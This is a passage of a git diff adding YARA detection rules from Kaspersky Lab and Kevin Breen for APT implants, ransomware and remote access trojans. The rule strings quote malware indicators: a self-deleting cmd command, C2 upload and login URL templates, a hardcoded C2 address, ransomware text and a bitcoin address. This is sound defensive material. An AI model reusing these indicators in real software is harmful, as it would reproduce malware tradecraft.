+		Reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+
+strings:
+
+		$a1="{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
+		$a2="\\\\.\\pipe\\{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
+		$a4="\\\\.\\pipe\\{AB6172ED-8105-4996-9D2A-597B5F827501}" wide
+		$a5="Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" wide
+		$a8="SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" wide
+		$a9="SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" wide
+		$a7="SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" wide
+		$b1="MSI.dll"
+		$b2="msi.dll"
+		$b3="StartAction"
+		$c1="msisvc_32@" wide
+		$c2="PROP=" wide
+		$c3="-Embedding" wide
+		$c4="S:(ML;;NW;;;LW)" wide
+
+		$d1 = "NameTypeBinaryDataCustomActionActionSourceTargetInstallExecuteSequenceConditionSequencePropertyValueMicrosoftManufacturer" nocase
+		$d2 = {2E 3F 41 56 3F 24 5F 42 69 6E 64 40 24 30 30 58 55 3F 24 5F 50 6D 66 5F 77 72 61 70 40 50 38 43 4C 52 ?? 40 40 41 45 58 58 5A 58 56 31 40 24 24 24 56 40 73 74 64 40 40 51 41 56 43 4C 52 ?? 40 40 40 73 74 64 40 40}
+condition:
+
+( (uint16(0) == 0x5a4d) and ( (any of ($a*)) or (all of ($b*)) or (all of ($c*)) ) and filesize < 100000 )
+
+or
+
+( (uint32(0) == 0xe011cfd0) and ( (any of ($a*)) or (all of ($b*)) or (all of ($c*)) or (any of ($d*)) ) and filesize < 20000000 )
+}
+
+rule apt_equation_exploitlib_mutexes {
+ 
+meta:
+ 
+    copyright = "Kaspersky Lab"
+    description = "Rule to detect Equation group's Exploitation library"
+    version = "1.0"
+    last_modified = "2015-02-16"
+    reference = "https://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+ 
+ 
+strings:
+ 
+    $mz="MZ"
+ 
+    $a1="prkMtx" wide
+    $a2="cnFormSyncExFBC" wide
+    $a3="cnFormVoidFBC" wide
+    $a4="cnFormSyncExFBC" 
+    $a5="cnFormVoidFBC"
+ 
+condition:
+ 
+(($mz at 0) and any of ($a*))
+
+}
+
+rule apt_equation_doublefantasy_genericresource {
+    meta:
+        copyright = "Kaspersky Lab"
+        description = "Rule to detect DoubleFantasy encoded config http://goo.gl/ivt8EW"
+        version = "1.0"
+        last_modified = "2015-02-16"
+        reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+    strings:
+        $mz="MZ"
+        $a1={06 00 42 00 49 00 4E 00 52 00 45 00 53 00}
+        $a2="yyyyyyyyyyyyyyyy"
+        $a3="002"
+    condition:
+        (($mz at 0) and all of ($a*)) and filesize < 500000
+}
+
+rule apt_equation_equationlaser_runtimeclasses {
+	meta:
+	    copyright = "Kaspersky Lab"
+	    description = "Rule to detect the EquationLaser malware"
+	    version = "1.0"
+	    last_modified = "2015-02-16"
+	    reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+	strings:
+	    $a1="?a73957838_2@@YAXXZ"
+	    $a2="?a84884@@YAXXZ"
+	    $a3="?b823838_9839@@YAXXZ"
+	    $a4="?e747383_94@@YAXXZ"
+	    $a5="?e83834@@YAXXZ"
+	    $a6="?e929348_827@@YAXXZ"
+	condition:
+	    any of them
+}
+
+rule apt_equation_cryptotable : crypto {
+	meta:
+	    copyright = "Kaspersky Lab"
+	    description = "Rule to detect the crypto library used in Equation group malware"
+	    version = "1.0"
+	    last_modified = "2015-02-16"
+	    reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+	strings:
+	    $a={37 DF E8 B6 C7 9C 0B AE 91 EF F0 3B 90 C6 80 85 5D 19 4B 45 44 12 3C E2 0D 5C 1C 7B C4 FF D6 05 17 14 4F 03 74 1E 41 DA 8F 7D DE 7E 99 F1 35 AC B8 46 93 CE 23 82 07 EB 2B D4 72 71 40 F3 B0 F7 78 D7 4C D1 55 1A 39 83 18 FA E1 9A 56 B1 96 AB A6 30 C5 5F BE 0C 50 C1}
+	condition:
+	    $a
+}
+
+rule apt_hellsing_implantstrings 
+{
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing implants"
+
+	strings:
+ 		$mz="MZ"
+ 		$a1="the file uploaded failed !"
+ 		$a2="ping 127.0.0.1"
+ 		$b1="the file downloaded failed !"
+ 		$b2="common.asp"
+ 		$c="xweber_server.exe"
+ 		$d="action="
+		$debugpath1="d:\\Hellsing\\release\\msger\\" nocase
+		$debugpath2="d:\\hellsing\\sys\\xrat\\" nocase
+		$debugpath3="D:\\Hellsing\\release\\exe\\" nocase
+		$debugpath4="d:\\hellsing\\sys\\xkat\\" nocase
+		$debugpath5="e:\\Hellsing\\release\\clare" nocase
+		$debugpath6="e:\\Hellsing\\release\\irene\\" nocase
+		$debugpath7="d:\\hellsing\\sys\\irene\\" nocase
+		$e="msger_server.dll"
+		$f="ServiceMain"
+
+	condition:
+		($mz at 0) and (all of ($a*)) or (all of ($b*)) or ($c and $d) or (any of ($debugpath*)) or ($e and $f) and filesize < 500000
+}
+
+rule apt_hellsing_installer 
+{
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing xweber/msger installers"
+
+	strings:
+		$mz="MZ"
+		$cmd="cmd.exe /c ping 127.0.0.1 -n 5&cmd.exe /c del /a /f \"%s\""
+		$a1="xweber_install_uac.exe"
+		$a2="system32\\cmd.exe" wide
+		$a4="S11SWFOrVwR9UlpWRVZZWAR0U1aoBHFTUl2oU1Y="
+		$a5="S11SWFOrVwR9dnFTUgRUVlNHWVdXBFpTVgRdUlpWRVZZWARdUqhZVlpFR1kEUVNSXahTVgRaU1YEUVNSXahTVl1SWwRZValdVFFZUqgQBF1SWlZFVllYBFRTVqg="
+		$a6="7dqm2ODf5N/Y2N/m6+br3dnZpunl44g="
+		$a7="vd/m7OXd2ai/5u7a59rr7Ki45drcqMPl5t/c5dqIZw=="
+		$a8="vd/m7OXd2ai/usPl5qjY2uXp69nZqO7l2qjf5u7a59rr7Kjf5tzr2u7n6euo4+Xm39zl2qju5dqo4+Xm39zl2t/m7ajr19vf2OPr39rj5eaZmqbs5OSI Njl2tyI"
+		$a9="C:\\Windows\\System32\\sysprep\\sysprep.exe" wide
+		$a10="%SystemRoot%\\system32\\cmd.exe" wide
+		$a11="msger_install.dll"
+		$a12={00 65 78 2E 64 6C 6C 00}
+
+	condition:
+		($mz at 0) and ($cmd and (2 of ($a*))) and filesize < 500000
+}
+
+rule apt_hellsing_irene 
+{
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing msger irene installer"
+
+	strings:
+		$mz="MZ"
+		$a1="\\Drivers\\usbmgr.tmp" wide
+		$a2="\\Drivers\\usbmgr.sys" wide
+		$a3="common_loadDriver CreateFile error! "
+		$a4="common_loadDriver StartService error && GetLastError():%d! "
+		$a5="irene" wide
+		$a6="aPLib v0.43 - the smaller the better"
+
+	condition:
+		($mz at 0) and (4 of ($a*)) and filesize < 500000
+}
+
+rule apt_hellsing_msgertype2 
+{
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing msger type 2 implants"
+	strings:
+		$mz="MZ"
+		$a1="%s\\system\\%d.txt"
+		$a2="_msger"
+		$a3="http://%s/lib/common.asp?action=user_login&uid=%s&lan=%s&host=%s&os=%s&proxy=%s"
+		$a4="http://%s/data/%s.1000001000"
+		$a5="/lib/common.asp?action=user_upload&file="
+		$a6="%02X-%02X-%02X-%02X-%02X-%02X"
+
+	condition:
+		($mz at 0) and (4 of ($a*)) and filesize < 500000
+		
+}
+
+rule apt_hellsing_proxytool 
+{
+	meta:
+	version = "1.0"
+	filetype = "PE"
+	author = "Costin Raiu, Kaspersky Lab"
+	copyright = "Kaspersky Lab"
+	date = "2015-04-07"
+	description = "detection for Hellsing proxy testing tool"
+
+	strings:
+		$mz="MZ"
+		$a1="PROXY_INFO: automatic proxy url => %s "
+		$a2="PROXY_INFO: connection type => %d "
+		$a3="PROXY_INFO: proxy server => %s "
+		$a4="PROXY_INFO: bypass list => %s "
+		$a5="InternetQueryOption failed with GetLastError() %d"
+		$a6="D:\\Hellsing\\release\\exe\\exe\\" nocase
+
+	condition:
+		($mz at 0) and (2 of ($a*)) and filesize < 300000
+}
+
+rule apt_hellsing_xkat 
+{
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing xKat tool"
+
+	strings:
+		$mz="MZ"
+		$a1="\\Dbgv.sys"
+		$a2="XKAT_BIN"
+		$a3="release sys file error."
+		$a4="driver_load error. "
+		$a5="driver_create error."
+		$a6="delete file:%s error."
+		$a7="delete file:%s ok."
+		$a8="kill pid:%d error."
+		$a9="kill pid:%d ok."
+		$a10="-pid-delete"
+		$a11="kill and delete pid:%d error."
+		$a12="kill and delete pid:%d ok."
+
+	condition:
+		($mz at 0) and (6 of ($a*)) and filesize < 300000
+}
+
+rule apt_regin_2013_64bit_stage1 {
+
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect Regin 64 bit stage 1 loaders"
+	version = "1.0"
+	last_modified = "2014-11-18"
+	filename="wshnetc.dll"
+	md5="bddf5afbea2d0eed77f2ad4e9a4f044d"
+	filename="wsharp.dll"
+	md5="c053a0a3f1edcbbfc9b51bc640e808ce"
+	Reference = "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
+
+strings:
+	$mz="MZ"
+		$a1="PRIVHEAD"
+		$a2="\\\\.\\PhysicalDrive%d"
+		$a3="ZwDeviceIoControlFile"
+
+condition:
+
+	($mz at 0) and (all of ($a*)) and filesize < 100000
+
+}
+
+rule apt_regin_dispatcher_disp_dll {
+
+meta:
+
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect Regin disp.dll dispatcher"
+	version = "1.0"
+	last_modified = "2014-11-18"
+	Reference = "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
+
+strings:
+	$mz="MZ"
+		 $string1="shit"
+		 $string2="disp.dll"
+		 $string3="255.255.255.255"
+		 $string4="StackWalk64"
+		 $string5="imagehlp.dll"
+
+condition:
+
+	($mz at 0) and (all of ($string*))
+}
+
+rule apt_regin_vfs {
+
+meta:
+
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect Regin VFSes"
+	version = "1.0"
+	last_modified = "2014-11-18"
+	Reference = "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
+
+strings:
+
+	$a1={00 02 00 08 00 08 03 F6 D7 F3 52}
+	$a2={00 10 F0 FF F0 FF 11 C7 7F E8 52}
+	$a3={00 04 00 10 00 10 03 C2 D3 1C 93}
+	$a4={00 04 00 10 C8 00 04 C8 93 06 D8}
+
+condition:
+
+	($a1 at 0) or ($a2 at 0) or ($a3 at 0) or ($a4 at 0)
+}
+
+rule exploit_Silverlight_Toropov_Generic_XAP {
+	
+	meta:
+
+		author = "Kaspersky Lab"
+		filetype = "Win32 EXE"
+		date = "2015-07-23"
+		version = "1.0"
+		Reference = "https://securelist.com/blog/research/73255/the-mysterious-case-of-cve-2016-0034-the-hunt-for-a-microsoft-silverlight-0-day/"
+
+strings:
+
+	$b2="Can't find Payload() address" ascii wide
+	$b3="/SilverApp1;compoent/App.xaml" ascii wide
+	$b4="Can't allocate ums after buf[]" ascii wide
+	$b5="------------  START  ------------"
+
+condition:
+
+	((2 of ($b*)) )
+}
+
+import "pe"
+rule xdedic_packed_syscan {
+	meta:
+		author = "Kaspersky Lab"
+		company = "Kaspersky Lab"
+		reference = "https://securelist.com/files/2016/06/xDedic_marketplace_ENG.pdf"
+	strings:
+		$a1 = "SysScan.exe" nocase ascii wide
+	condition:
+		uint16(0) == 0x5A4D
+		and any of ($a*) and filesize > 1000000 and filesize <1200000 and
+		pe.number_of_sections == 13 and pe.version_info["FileVersion"] contains "1.3.4."
+}
+
+rule xDedic_SysScan_unpacked {
+	meta:
+		author = " Kaspersky Lab"
+		maltype = "crimeware"
+		type ="crimeware"
+		filetype = "Win32 EXE"
+		date = "2016-03-14"
+		reference = "https://securelist.com/files/2016/06/xDedic_marketplace_ENG.pdf"
+		version = "1.0"
+		hash = "fac495be1c71012682ebb27092060b43"
+		hash = "e8cc69231e209db7968397e8a244d104"
+		hash = "a53847a51561a7e76fd034043b9aa36d"
+		hash = "e8691fa5872c528cd8e72b82e7880e98"
+		hash = "F661b50d45400e7052a2427919e2f777"
+	strings:
+		$a1="/c ping -n 2 127.0.0.1 & del \"SysScan.exe\"" ascii wide
+		$a2="SysScan DEBUG Mode!!!" ascii wide
+		$a3="This rechecking? (set 0/1 or press enter key)" ascii wide
+		$a4="http://37.49.224.144:8189/manual_result" ascii wide
+		$b1="Checker end work!" ascii wide
+		$b2="Trying send result..." ascii wide
+	condition:
+		((uint16(0) == 0x5A4D)) and (filesize < 5000000) and
+		((any of ($a*)) or (all of ($b*)))
+}
+
+import "pe"
+import "math"
+
+rule apt_ProjectSauron_pipe_backdoor  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron pipe backdoors"
+	version = "1.0"    
+	reference = "https://securelist.com/blog/"
+   
+strings:
+
+	$a1 = "CreateNamedPipeW" fullword ascii
+	$a2 = "SetSecurityDescriptorDacl" fullword ascii
+	$a3 = "GetOverlappedResult" fullword ascii
+	$a4 = "TerminateThread" fullword ascii
+	$a5 = "%s%s%X" fullword wide
+	
+
+condition:
+	uint16(0) == 0x5A4D 
+	and (all of ($a*))
+	and filesize < 100000
+}
+
+rule apt_ProjectSauron_encrypted_LSA  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron encrypted LSA samples"
+	version = "1.0"    
+	reference = "https://securelist.com/blog/"
+
+strings:
+
+	$a1 = "EFEB0A9C6ABA4CF5958F41DB6A31929776C643DEDC65CC9B67AB8B0066FF2492" fullword ascii
+	$a2 = "\\Device\\NdisRaw_" fullword ascii
+	$a3 = "\\\\.\\GLOBALROOT\\Device\\{8EDB44DC-86F0-4E0E-8068-BD2CABA4057A}" fullword wide
+	$a4 = "Global\\{a07f6ba7-8383-4104-a154-e582e85a32eb}" fullword wide
+	$a5 = "Missing function %S::#%d" fullword wide
+	$a6 = {8945D08D8598FEFFFF2BD08945D88D45BC83C20450C745C0030000008975C48955DCFF55FC8BF88D8F0000003A83F90977305333DB53FF15}
+	$a7 = {488D4C24304889442450488D452044886424304889442460488D4520C7442434030000002BD848897C243844896C244083C308895C246841FFD68D880000003A8BD883F909772DFF}
+
+
+condition:
+	uint16(0) == 0x5A4D
+	and (any of ($a*) or
+	(
+		pe.exports("InitializeChangeNotify") and
+		pe.exports("PasswordChangeNotify") and
+		math.entropy(0x400, filesize) >= 7.5
+	))
+	and filesize < 1000000
+}
+
+rule apt_ProjectSauron_encrypted_SSPI  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect encrypted ProjectSauron SSPI samples"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+condition:
+	uint16(0) == 0x5A4D and
+	filesize < 1000000 and
+	pe.exports("InitSecurityInterfaceA") and
+	pe.characteristics & pe.DLL and
+	(pe.machine == pe.MACHINE_AMD64 or pe.machine == pe.MACHINE_IA64) and
+	math.entropy(0x400, filesize) >= 7.5     
+}
+
+rule apt_ProjectSauron_MyTrampoline  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron MyTrampoline module"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+strings:
+
+	$a1 = ":\\System Volume Information\\{" wide
+	$a2 = "\\\\.\\PhysicalDrive%d" wide
+	$a3 = "DMWndClassX%d"
+
+	$b1 = "{774476DF-C00F-4e3a-BF4A-6D8618CFA532}" ascii wide
+	$b2 = "{820C02A4-578A-4750-A409-62C98F5E9237}" ascii wide
+
+condition:
+	uint16(0) == 0x5A4D and
+	filesize < 5000000 and
+	(all of ($a*) or any of ($b*))
+}
+
+rule apt_ProjectSauron_encrypted_container  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron samples encrypted container"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+strings:
+
+	$vfs_header = {02 AA 02 C1 02 0?}
+	$salt = {91 0A E0 CC 0D FE CE 36 78 48 9B 9C 97 F7 F5 55}
+
+condition:
+	uint16(0) == 0x5A4D
+	and ((@vfs_header < 0x4000) or $salt) and
+	math.entropy(0x400, filesize) >= 6.5 and
+	(filesize > 0x400) and filesize < 10000000
+}
+
+rule apt_ProjectSauron_encryption  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron string encryption"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+
+strings:
+
+	$a1 = {81??02AA02C175??8B??0685}
+	$a2 = {918D9A94CDCC939A93939BD18B9AB8DE9C908DAF8D9B9BBE8C8C9AFF}
+	$a3 = {803E225775??807E019F75??807E02BE75??807E0309}
+
+condition:
+	filesize < 5000000 and
+	any of ($a*)
+}
+
+rule apt_ProjectSauron_generic_pipe_backdoor {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron generic pipe backdoors"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+strings:
+	$a = { C7 [2-3] 32 32 32 32 E8 }
+	$b = { 42 12 67 6B }
+	$c = { 25 31 5F 73 }
+	$d = "rand"
+	$e = "WS2_32"
+
+condition:
+	uint16(0) == 0x5A4D and
+	(all of them) and
+	filesize < 400000
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kaspersky/ransomware_PetrWrap.yar b/yara-mikesxrs/kaspersky/ransomware_PetrWrap.yar
new file mode 100644
index 0000000..e8c3cb8
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/ransomware_PetrWrap.yar
@@ -0,0 +1,19 @@
+rule ransomware_PetrWrap 
+{
+meta:
+	copyright= "Kaspersky Lab"
+	description = "Rule to detect PetrWrap ransomware samples"
+    reference = "https://securelist.com/schroedingers-petya/78870/"
+	last_modified = "2017-06-27"
+	author = "Kaspersky Lab"
+	hash = "71B6A493388E7D0B40C83CE903BC6B04"
+	version = "1.0"
+strings:
+	$a1 = "MIIBCgKCAQEAxP/VqKc0yLe9JhVqFMQGwUITO6WpXWnKSNQAYT0O65Cr8PjIQInTeHkXEjfO2n2JmURWV/uHB0ZrlQ/wcYJBwLhQ9EqJ3iDqmN19Oo7NtyEUmbYmopcqYLIBZzQ2ZTK0A2DtX4GRKxEEFLCy7vP12EYOPXknVy/mf0JFWixz29QiTf5oLu15wVLONCuEibGaNNpgqCXsPwfITDbDDmdrRIiUEUw6o3pt5pNOskfOJbMan2TZu" fullword wide
+	$a2 = ".3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.cs.ctl.dbf.disk.djvu.doc.docx.dwg.eml.fdb.gz.h.hdd.kdbx.mail.mdb.msg.nrg.ora.ost.ova.ovf.pdf.php.pmf.ppt.pptx.pst.pvi.py.pyc.rar.rtf.sln.sql.tar.vbox.vbs.vcb.vdi.vfd.vmc.vmdk.vmsd.vmx.vsdx.vsv.work.xls" fullword wide
+	$a3 = "DESTROY ALL OF YOUR DATA PLEASE ENSURE THAT YOUR POWER CABLE IS PLUGGED" fullword ascii
+	$a4 = "1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX" fullword ascii
+	$a5 = "wowsmith123456posteo.net." fullword wide
+condition:
+	uint16(0) == 0x5A4D and filesize < 1000000 and any of them 
+}
diff --git a/yara-mikesxrs/kaspersky/stonedrill.yar b/yara-mikesxrs/kaspersky/stonedrill.yar
new file mode 100644
index 0000000..5977caf
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/stonedrill.yar
@@ -0,0 +1,45 @@
+import "pe"
+import "math"
+
+rule susp_file_enumerator_with_encrypted_resource_101 {
+meta:
+  copyright = "Kaspersky Lab"
+  description = "Generic detection for samples that enumerate files with encrypted resource called 101"
+  reference = "https://securelist.com/from-shamoon-to-stonedrill/77725/"
+  hash = "2cd0a5f1e9bcce6807e57ec8477d222a"
+  hash = "c843046e54b755ec63ccb09d0a689674"
+  version = "1.4"
+strings:
+  $mz = "This program cannot be run in DOS mode."
+  $a1 = "FindFirstFile" ascii wide nocase
+  $a2 = "FindNextFile" ascii wide nocase
+  $a3 = "FindResource" ascii wide nocase
+  $a4 = "LoadResource" ascii wide nocase
+
+condition:
+uint16(0) == 0x5A4D and
+all of them and
+filesize < 700000 and
+pe.number_of_sections > 4 and
+pe.number_of_signatures == 0 and
+pe.number_of_resources > 1 and pe.number_of_resources < 15 and for any i in (0..pe.number_of_resources - 1):
+( (math.entropy(pe.resources[i].offset, pe.resources[i].length) > 7.8) and pe.resources[i].id == 101 and
+pe.resources[i].length > 20000 and
+pe.resources[i].language == 0 and
+not ($mz in (pe.resources[i].offset..pe.resources[i].offset + pe.resources[i].length))
+)
+}
+
+rule StoneDrill_main_sub {
+meta:
+  author = "Kaspersky Lab"
+  description = "Rule to detect StoneDrill (decrypted) samples"
+  reference = "https://securelist.com/from-shamoon-to-stonedrill/77725/"
+  hash = "d01781f1246fd1b64e09170bd6600fe1"
+  hash = "ac3c25534c076623192b9381f926ba0d"
+  version = "1.0"
+strings:
+  $code = {B8 08 00 FE 7F FF 30 8F 44 24 ?? 68 B4 0F 00 00 FF 15 ?? ?? ?? 00 B8 08 00 FE 7F FF 30 8F 44 24 ?? 8B ?? 24 [1 - 4] 2B ?? 24 [6] F7 ?1 [5 - 12] 00}
+condition:
+  uint16(0) == 0x5A4D and $code and filesize < 5000000
+}
diff --git a/yara-mikesxrs/kaspersky/xDedic_SysScan_unpacked.yar b/yara-mikesxrs/kaspersky/xDedic_SysScan_unpacked.yar
new file mode 100644
index 0000000..d5987ee
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/xDedic_SysScan_unpacked.yar
@@ -0,0 +1,26 @@
+rule xDedic_SysScan_unpacked {
+	meta:
+		author = " Kaspersky Lab"
+		maltype = "crimeware"
+		type ="crimeware"
+		filetype = "Win32 EXE"
+		date = "2016-03-14"
+		reference = "https://securelist.com/files/2016/06/xDedic_marketplace_ENG.pdf"
+		version = "1.0"
+		hash = "fac495be1c71012682ebb27092060b43"
+		hash = "e8cc69231e209db7968397e8a244d104"
+		hash = "a53847a51561a7e76fd034043b9aa36d"
+		hash = "e8691fa5872c528cd8e72b82e7880e98"
+		hash = "F661b50d45400e7052a2427919e2f777"
+	strings:
+		$a1="/c ping -n 2 127.0.0.1 & del \"SysScan.exe\"" ascii wide
+		$a2="SysScan DEBUG Mode!!!" ascii wide
+		$a3="This rechecking? (set 0/1 or press enter key)" ascii wide
+		$a4="http://37.49.224.144:8189/manual_result" ascii wide
+		$b1="Checker end work!" ascii wide
+		$b2="Trying send result..." ascii wide
+	condition:
+		((uint16(0) == 0x5A4D)) and (filesize < 5000000) and
+		((any of ($a*)) or (all of ($b*)))
+}
+
diff --git a/yara-mikesxrs/kaspersky/xdedic_packed_syscan.yar b/yara-mikesxrs/kaspersky/xdedic_packed_syscan.yar
new file mode 100644
index 0000000..19768d5
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/xdedic_packed_syscan.yar
@@ -0,0 +1,13 @@
+import "pe"
+rule xdedic_packed_syscan {
+	meta:
+		author = "Kaspersky Lab"
+		company = "Kaspersky Lab"
+		reference = "https://securelist.com/files/2016/06/xDedic_marketplace_ENG.pdf"
+	strings:
+		$a1 = "SysScan.exe" nocase ascii wide
+	condition:
+		uint16(0) == 0x5A4D
+		and any of ($a*) and filesize > 1000000 and filesize <1200000 and
+		pe.number_of_sections == 13 and pe.version_info["FileVersion"] contains "1.3.4."
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/AAR.yar b/yara-mikesxrs/kevthehermit/AAR.yar
new file mode 100644
index 0000000..c61a617
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/AAR.yar
@@ -0,0 +1,21 @@
+rule AAR
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/AAR"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "Hashtable"
+		$b = "get_IsDisposed"
+		$c = "TripleDES"
+		$d = "testmemory.FRMMain.resources"
+		$e = "$this.Icon" wide
+		$f = "{11111-22222-20001-00001}" wide
+		$g = "@@@@@"
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/Adzok.yar b/yara-mikesxrs/kevthehermit/Adzok.yar
new file mode 100644
index 0000000..05c2f29
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Adzok.yar
@@ -0,0 +1,24 @@
+rule Adzok
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		Description = "Adzok Rat"
+		Versions = "Free 1.0.0.3,"
+		date = "2015/05"
+		ref = "http://malwareconfig.com/stats/Adzok"
+		maltype = "Remote Access Trojan"
+		filetype = "jar"
+
+	strings:
+		$a1 = "config.xmlPK"
+		$a2 = "key.classPK"
+		$a3 = "svd$1.classPK"
+		$a4 = "svd$2.classPK"
+    $a5 = "Mensaje.classPK"
+		$a6 = "inic$ShutdownHook.class"
+		$a7 = "Uninstall.jarPK"
+		$a8 = "resources/icono.pngPK"
+        
+	condition:
+    7 of ($a*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/AlienSpy.yar b/yara-mikesxrs/kevthehermit/AlienSpy.yar
new file mode 100644
index 0000000..3555851
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/AlienSpy.yar
@@ -0,0 +1,46 @@
+rule AlienSpy
+{
+    meta:
+        author = "Kevin Breen"
+        ref = "http://malwareconfig.com/stats/AlienSpy"
+        maltype = "Remote Access Trojan"
+        filetype = "jar"
+
+    strings:
+        $PK = "PK"
+        $MF = "META-INF/MANIFEST.MF"
+    
+        $a1 = "a.txt"
+        $a2 = "b.txt"
+        $a3 = "Main.class"
+    
+        $b1 = "ID"
+        $b2 = "Main.class"
+        $b3 = "plugins/Server.class"
+    
+        $c1 = "resource/password.txt"
+        $c2 = "resource/server.dll"
+    
+        $d1 = "java/stubcito.opp"
+        $d2 = "java/textito.isn"
+    
+        $e1 = "java/textito.text"
+        $e2 = "java/resources.xsx"
+    
+        $f1 = "amarillo/asdasd.asd"
+        $f2 = "amarillo/adqwdqwd.asdwf"
+
+        $g1 = "config/config.perl"
+        $g2 = "main/Start.class"
+        
+        $o1 = "config/config.ini"
+        $o2 = "windows/windows.ini"
+        $o3 = "components/linux.plsk"
+        $o4 = "components/manifest.ini"
+        $o5 = "components/mac.hwid"
+        
+
+    condition:
+        $PK at 0 and $MF and
+        (all of ($a*) or all of ($b*) or all of ($c*) or all of ($d*) or all of ($e*) or all of ($f*) or all of ($g*) or any of ($o*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/Ap0calypse.yar b/yara-mikesxrs/kevthehermit/Ap0calypse.yar
new file mode 100644
index 0000000..0da64f4
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Ap0calypse.yar
@@ -0,0 +1,20 @@
+rule Ap0calypse
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Ap0calypse"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "Ap0calypse"
+		$b = "Sifre"
+		$c = "MsgGoster"
+		$d = "Baslik"
+		$e = "Dosyalars"
+		$f = "Injecsiyon"
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/Arcom.yar b/yara-mikesxrs/kevthehermit/Arcom.yar
new file mode 100644
index 0000000..5e14ab3
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Arcom.yar
@@ -0,0 +1,20 @@
+rule Arcom
+{
+    meta:
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        date = "2014/04"
+        ref = "http://malwareconfig.com/stats/Arcom"
+        maltype = "Remote Access Trojan"
+        filetype = "exe"
+        
+    strings:
+        $a1 = "CVu3388fnek3W(3ij3fkp0930di"
+        $a2 = "ZINGAWI2"
+        $a3 = "clWebLightGoldenrodYellow"
+        $a4 = "Ancestor for '%s' not found" wide
+        $a5 = "Control-C hit" wide
+        $a6 = {A3 24 25 21}
+        
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/Bandook.yar b/yara-mikesxrs/kevthehermit/Bandook.yar
new file mode 100644
index 0000000..dc4d00a
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Bandook.yar
@@ -0,0 +1,27 @@
+rule Bandook
+{
+
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/bandook"
+		maltype = "Remote Access Trojan"
